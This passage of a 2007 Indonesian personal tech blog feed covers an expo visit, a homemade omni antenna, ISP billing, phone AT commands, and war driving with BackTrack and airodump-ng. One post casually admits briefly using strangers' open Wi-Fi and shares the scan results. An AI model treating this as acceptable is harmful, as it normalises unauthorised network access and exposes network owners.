robotika.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_C4OekAEc7cI/Rz-ii9iIwCI/AAAAAAAAAGQ/UhgWcpx1ALM/s1600-h/DSC00170.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/Rz-ii9iIwCI/AAAAAAAAAGQ/UhgWcpx1ALM/s320/DSC00170.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134000821742649378" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/Rz-ijNiIwDI/AAAAAAAAAGY/QwY9i9R8reg/s1600-h/DSC00171.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/Rz-ijNiIwDI/AAAAAAAAAGY/QwY9i9R8reg/s320/DSC00171.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134000826037616690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/Rz-ijNiIwEI/AAAAAAAAAGg/MH-d1f7rsOY/s1600-h/DSC00175.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/Rz-ijNiIwEI/AAAAAAAAAGg/MH-d1f7rsOY/s320/DSC00175.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134000826037616706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/Rz-ijdiIwFI/AAAAAAAAAGo/OEPCyUwCWts/s1600-h/DSC00177.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/Rz-ijdiIwFI/AAAAAAAAAGo/OEPCyUwCWts/s320/DSC00177.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134000830332584018" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Untuk booth dari vendor hardware VGA, biasana disediakan PC Game yang bisa dicoba, kayak yang ini nih :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/Rz-j6diIwGI/AAAAAAAAAGw/1WuVDg0apS8/s1600-h/DSC00179.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/Rz-j6diIwGI/AAAAAAAAAGw/1WuVDg0apS8/s320/DSC00179.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134002324981203042" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/Rz-j6tiIwHI/AAAAAAAAAG4/7XiIVJpgdkI/s1600-h/DSC00180.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/Rz-j6tiIwHI/AAAAAAAAAG4/7XiIVJpgdkI/s320/DSC00180.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134002329276170354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_C4OekAEc7cI/Rz-j69iIwII/AAAAAAAAAHA/D9z9ayxkMgs/s1600-h/DSC00181.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/Rz-j69iIwII/AAAAAAAAAHA/D9z9ayxkMgs/s320/DSC00181.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134002333571137666" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Kira2 berapa juta yah buat merakit PC Game seperti itu? T_T&lt;br /&gt;&lt;br /&gt;Ada kegiatan workshop pas aq dateng, diantarana :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/Rz-kftiIwJI/AAAAAAAAAHI/FbQDnIMrdVQ/s1600-h/DSC00185.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/Rz-kftiIwJI/AAAAAAAAAHI/FbQDnIMrdVQ/s320/DSC00185.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134002964931330194" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ternyata ada booth CHIP juga loh! Yang dijual majalah2 CHIP dari tahun 2005 ampe yang baru, lumayan murah! :) :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/Rz-k-diIwLI/AAAAAAAAAHY/FHITuIKXHMo/s1600-h/DSC00182.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/Rz-k-diIwLI/AAAAAAAAAHY/FHITuIKXHMo/s320/DSC00182.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134003493212307634" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/Rz-k-tiIwMI/AAAAAAAAAHg/BcDb5EQwZl0/s1600-h/DSC00183.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/Rz-k-tiIwMI/AAAAAAAAAHg/BcDb5EQwZl0/s320/DSC00183.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134003497507274946" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tapi sayang sampe aq pulang gk da lomba2 dari booth. :( padahal pgn ikut sapa tau dapet Flashdisk ato Voucher makan :) :) hehehehhe :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1823833721248494889?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1823833721248494889/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1823833721248494889' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1823833721248494889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1823833721248494889'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/11/15th-indocomtech-2007-jcc.html' title='15th INDOCOMTECH 2007 - JCC'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/Rz-iitiIwBI/AAAAAAAAAGI/XRoLtrKtuZY/s72-c/DSC00178.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-36155024281239108</id><published>2007-10-21T20:56:00.000+07:00</published><updated>2007-10-21T21:39:37.058+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>My Omni Antenna + si Biru (wrt54GL) :)</title><content type='html'>Beberapa waktu lalu aq sempet bikin Antenna Omni Homemade bareng ma temen2 :). Kebetulan dapet referensi + &lt;a href="http://v04.stream.voiprakyat.or.id/videoblog_20151_20070316174419.flv"&gt;video tutorial&lt;/a&gt;na dari VOIP Rakyat. Bahan n alat2na yang dipake buat antenna omni sih nyari ndiri, diantarana :&lt;br /&gt;&lt;br /&gt;1. Pipa PVC ukuran 1.5" 2 meter&lt;br /&gt;2. Kabel CNT-400 (RG-8) 2 meter&lt;br /&gt;3. RP-TNC + N-Connector masing2 1 buah &lt;br /&gt;4. Kapiler AC diameter 1 cm, 2 meter&lt;br /&gt;5. Busa (busa kali ya? :P) pipa PVC 2 meter&lt;br /&gt;6. Dop (bener gk ya namana?) pipa PVC 2 buah&lt;br /&gt;7. Sekrup kecil, mur, lakban, lem perekat&lt;br /&gt;8. Obeng, tang, solder (kalo bisa yg kayak di video itu, biar gampang nyatuin), gergaji, piso cutter, penggaris&lt;br /&gt;&lt;br /&gt;Uhmm mungkin bahan yang agak mahal ada di kabel RG-8 dan konektorna, kemarin nyari di Glodok dapet per m itu sekitar 30 rebu dan konektorna ndiri 50 rebu per biji (mahal pa murah ya?). Untuk pipa kapiler + busana bisa nyari di toko yg jual peralatan AC. Bahan yang lain bisa didapet di toko bangunan.&lt;br /&gt;&lt;br /&gt;Bagian yang agak susah menurut aq sih untuk menyatukan masing2 segmen (kabel yg dah dikuliti + diselubungi ma kapiler AC) dengan solder. Soalna kemarin ma temen2 juga rada kerepotan gimana nyolder yg bagus n baik hasilna. Tapi setelah beberapa kali ganti timah solder (baru tau kalo kualitasna beda2 :P) akhirna bisa nyatu juga :). Oiya, jumlah segmen yg dibuat sebanyak 25 segmen. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/RxtbRe3ZTvI/AAAAAAAAAGA/uXDs6S0UMeY/s1600-h/wrt.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RxtbRe3ZTvI/AAAAAAAAAGA/uXDs6S0UMeY/s320/wrt.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5123789356965383922" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Untuk tempat si biru (wrt54GL) memakai box plastik makanan (murah meriah, 15000an :P). Dikasi fan kecil buat sirkulasi udara biar gk cepet panas :) hehehehe. Oiya, sempet nambahin indikator LED buat ngetahuin kondisi si biru. Yaitu LED Power, WAN, ma LAN. Aq sih nyolder kabel UTP sebanyak 1 pasang untuk masing2 LED di bagian kaki2 lampu LED si biru. Jadi garansina lsg angus, soalna dah dibuka casingna :( hehehehe&lt;br /&gt;&lt;br /&gt;Berhubung si biru dah diinstallin DD-wrt V23 SP2, jadina tinggal milih antenna yang kanan (diliat dari bagian depan si biru) untuk menjadi Tx n Rx. :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/RxtbRO3ZTuI/AAAAAAAAAF4/1L5VWlFwXcU/s1600-h/tiang.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RxtbRO3ZTuI/AAAAAAAAAF4/1L5VWlFwXcU/s320/tiang.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5123789352670416610" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Taraaaa... jadi deh antenna omni n sibiru di"tangkringin" di tiang besi :) hehehhee... mudah2an ajah awet :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-36155024281239108?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/36155024281239108/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=36155024281239108' title='7 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/36155024281239108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/36155024281239108'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/10/my-omni-antenna-si-biru-wrt54gl.html' title='My Omni Antenna + si Biru (wrt54GL) :)'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/RxtbRe3ZTvI/AAAAAAAAAGA/uXDs6S0UMeY/s72-c/wrt.JPG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1275804968150077828</id><published>2007-10-17T07:26:00.000+07:00</published><updated>2007-10-17T07:41:57.724+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Serangan Fajar! War Driving sekitar Rumah :)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/RxVZle3ZTrI/AAAAAAAAAFk/onI9mm_XUTQ/s1600-h/nl_wdcar.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RxVZle3ZTrI/AAAAAAAAAFk/onI9mm_XUTQ/s320/nl_wdcar.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5122098651679248050" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Humm pagi ini aq war driving sekitar rumah aq, pake motor n lappie :). Daerah yang "dijelajahi" meliputi Wijaya Kusuma, Bunga Rampai, Pondok Kelapa, Mawar Merah, Malaka, Buaran, dan Bintara. Hasilna lumayan banyak yg dapet, bahkan diantarana masih OPEN n DHCP, seperti di kampus Darma Persada n warnet di Pondok Kelapa. Yaudah ngenet gratisan bentar :P hehehhe. Beberapa diantarana mang mendapatkan sinyal yg kecil, mungkin karena faktor tinggina tower + jenis antenna yg dipake kali ya? Kalo yg pake antenna omni enak dapet sinyalna :)&lt;br /&gt;&lt;br /&gt;Hasil war driving dapat didonlod &lt;a href="http://www.geocities.com/emomelodicfreak/wardriving.zip"&gt;disini&lt;/a&gt; atau &lt;a href="http://pushm0v.anime.0lx.net/wardriving.zip"&gt;mirror&lt;/a&gt;. Nama file *.txt merupakan tempat dimana dilakukan scanning. OS yang dipake buat war driving ini adalah Backtrack 2.0+ :) :) mudah2an bermanfaat :P hehehehe :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1275804968150077828?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1275804968150077828/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1275804968150077828' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1275804968150077828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1275804968150077828'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/10/serangan-fajar-war-driving-sekitar.html' title='Serangan Fajar! War Driving sekitar Rumah :)'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_C4OekAEc7cI/RxVZle3ZTrI/AAAAAAAAAFk/onI9mm_XUTQ/s72-c/nl_wdcar.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-5986013506479838904</id><published>2007-10-15T11:20:00.000+07:00</published><updated>2007-10-15T11:36:19.890+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>Kebijakan Batas Tagih Speedy, Cara baru Telkom?</title><content type='html'>&lt;blockquote&gt;Kebijakan Batas Tagih untuk Layanan Speedy Limited Volume Based&lt;br /&gt;01 Oktober 2007   04:07:14 ( Sys Admin TSDC )&lt;br /&gt;&lt;br /&gt;Mulai pemakaian September 2007 (tagihan Oktober 2007) batas tagihan maksimum untuk layanan Speedy limited volume based (Speedy Personal &amp; Speedy Professional) yang mengalami overquota adalah sebesar Rp 1.200.000.&lt;br /&gt;Dengan ketentuan ini maka tagihan yang harus dibayar pelanggan tidak akan melebihi angka tersebut. Batasan tagihan ini tidak akan mengurangi hak akses pelanggan, artinya pelanggan tetap masih dapat mengakses layanan Speedy walaupun sudah overquota.&lt;br /&gt;Informasi lebih lanjut dapat menghubungi 147.&lt;/blockquote&gt;&lt;br /&gt;&lt;i&gt;Sumber : https://portal.telkomspeedy.com/index.php?act=newsdetail&amp;now=118&amp;id=3&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Menurut berita tsb berarti bagi pelanggan limited Telkom Speedy yang mengalami Over Quota (salah satu hal yang biasa n paling ditakuti :P) akan dipatok sampai 1.2 Jt saja. Dulu sering aq liat banyak pelanggan limited Speedy yang over quota, bahkan harus membayar &gt; 2 Jt perbulanna. Kalo dipikir2 kenapa Telkom gak mengeluarkan kebijakan ini sebelom2na ya? Bayangkan bila dari program Speedy launching hingga kebijakan ini keluar berapa profit Telkom yang didapat dari hasil Over quota pelanggan2na? ck ck ck...&lt;br /&gt;&lt;br /&gt;Dengan kata lain para pelanggan limited speedy akan mendapatkan akses Unlimited (no Quota) setelah membayar 1.2 Jt (wew... T_T). Aq sendiri juga bukanna tidak pernah over quota hehehehe :P &lt;br /&gt;&lt;br /&gt;Kalo bisa sih tarif Speedy bisa lebih murah lagi, ya senggak2na sistem quota dihilangkan. :P hehehehe&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-5986013506479838904?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/5986013506479838904/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=5986013506479838904' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5986013506479838904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5986013506479838904'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/10/kebijakan-batas-tagih-speedy-cara-baru.html' title='Kebijakan Batas Tagih Speedy, Cara baru Telkom?'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-3398938697815967624</id><published>2007-10-09T21:46:00.000+07:00</published><updated>2007-10-09T22:19:41.973+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Siemens S35i with my Lappie :P</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/RwuU2x2uTXI/AAAAAAAAAEs/aGsercoQ04Q/s1600-h/2006-08-26_handy.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RwuU2x2uTXI/AAAAAAAAAEs/aGsercoQ04Q/s320/2006-08-26_handy.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119349070253411698" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Masih punya HP ini? Aq sih masih :P hehehe HP yang lawas tapi masih "powerfull", dah ada irDa, WAP n tentuna ada kabel data RS-232na :P hehehe... OK, uji coba dilakukan di lappie (HP nw8240) aq dengan Debian Etch. Untuk berkomunikasi dengan si HP diperlukan aplikasi kecil, yaitu minicom. Pas aq install Debian sih lom ada :P jadina perlu apt-get install minicom dulu dah :)&lt;br /&gt;&lt;br /&gt;Kalo dah terinstall, buka terminal/konsole ketikin minicom -s (kita setup duluw si minicom). Nanti ada menu kecil yg muncul kayak gini :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/RwuXQh2uTYI/AAAAAAAAAE0/S0fo3xMlEF4/s1600-h/snapshot-minicomsetup.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RwuXQh2uTYI/AAAAAAAAAE0/S0fo3xMlEF4/s320/snapshot-minicomsetup.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5119351711658298754" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pilih Serial Port Setup, nanti muncul menu lain :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/RwuXQh2uTZI/AAAAAAAAAE8/m4tXlGMsObY/s1600-h/snapshot-minicomsetup2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RwuXQh2uTZI/AAAAAAAAAE8/m4tXlGMsObY/s320/snapshot-minicomsetup2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5119351711658298770" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Karena di lappie aq pasang kabel data di port serial pertama (mang satu2na :P) jadi dia pasti berada di /dev/ttyS0. Maka ubah Serial Device kalo lom bener dengan menekan tombol A dan mengubah nilai yang ada :P. Nah, si HP siemens s35i menggunakan Baudrate 19200, jadi perlu kita ubah juga Bps/Par/Bitsna, jadi tekan tombol E, nanti keluar lagi menu :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/RwuXQx2uTaI/AAAAAAAAAFE/eLqAxUkWBH4/s1600-h/snapshot-minicomsetup3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RwuXQx2uTaI/AAAAAAAAAFE/eLqAxUkWBH4/s320/snapshot-minicomsetup3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5119351715953266082" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pilih baudratena 19200 yaitu tombol F, nah urusan Parity, Stop Bits n Data Bits, kita pake 8N1, artina Data Bits = 8 bit, No parity dan Stop Bits = 1. Langsung tekan Q ajah :) tekna Enter buat kembali ke menu utama, kita simpan dulu konfigurasina biar gk capek2 setting lagi, pilih Save Setup as dfl :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/RwuXQx2uTbI/AAAAAAAAAFM/YI68Xw2QNXM/s1600-h/snapshot-minicomsetup4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RwuXQx2uTbI/AAAAAAAAAFM/YI68Xw2QNXM/s320/snapshot-minicomsetup4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5119351715953266098" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Kalo udah, pilih Exit n kalo settingan kita dah bener maka langsung muncul :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/RwuXRB2uTcI/AAAAAAAAAFU/AxAF9P2YJIk/s1600-h/snapshot-minicomsetup5.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RwuXRB2uTcI/AAAAAAAAAFU/AxAF9P2YJIk/s320/snapshot-minicomsetup5.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5119351720248233410" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Horeeee, akhirna kita bisa berkomunikasi ma si HP hehehehe :), trus apa ajah yg bisa kita lakuin disini? Banyaakkkk, tapi "ngobrol"na harus pake &lt;a href="http://alumni.ipt.pt/~pmad/s35i_c35i_m35i_atc_commandset_v01.pdf"&gt;AT Command buat s35i&lt;/a&gt; :). Misal kita pengen liat inbox SMS kita (ALL ato semua), maka kita ketikin ajah AT Commandna : AT+CMGL=4 , 4 disini berarti nampilin semua SMS :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/RwuamB2uTdI/AAAAAAAAAFc/LFB5gxc0wKQ/s1600-h/snapshot-minicomsetup6-edit.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RwuamB2uTdI/AAAAAAAAAFc/LFB5gxc0wKQ/s320/snapshot-minicomsetup6-edit.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5119355379560369618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nanti muncul dah bilangan2 Hexadesimal.. Duh apa artina? Ini namana format &lt;a href="http://www.dreamfabric.com/sms/"&gt;PDU&lt;/a&gt; (protocol description unit) Maaf ya isi inbox aq disensor :P hehehhehe :P&lt;br /&gt;&lt;br /&gt;Uhmm, next project mungkin bagaimana kita bikin aplikasi kecil2an yg Read/Write ke port serial tuk ngambil n ngebaca SMS di inbox :) Doain ya biar cepet selese aplikasi sederhanana :).. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-3398938697815967624?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/3398938697815967624/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=3398938697815967624' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3398938697815967624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3398938697815967624'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/10/siemens-s35i-with-my-lappie-p.html' title='Siemens S35i with my Lappie :P'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_C4OekAEc7cI/RwuU2x2uTXI/AAAAAAAAAEs/aGsercoQ04Q/s72-c/2006-08-26_handy.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-6152845920575902008</id><published>2007-10-04T19:50:00.000+07:00</published><updated>2007-10-04T20:09:14.408+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>War Driving @ depok n mangga 2 :)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/RwTltP8dbpI/AAAAAAAAAEk/-onBPyW9E7s/s1600-h/airodump-tous-les-reseaux-presents.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RwTltP8dbpI/AAAAAAAAAEk/-onBPyW9E7s/s320/airodump-tous-les-reseaux-presents.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5117467642136718994" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Beberapa waktu lalu sempet nyoba2 war driving n packet capturing pake airodump-ng di Backtrack 2. Nyoba2 di kampus n jalanan sekitar margonda (pake mobilna si sarap :P).. hasilna 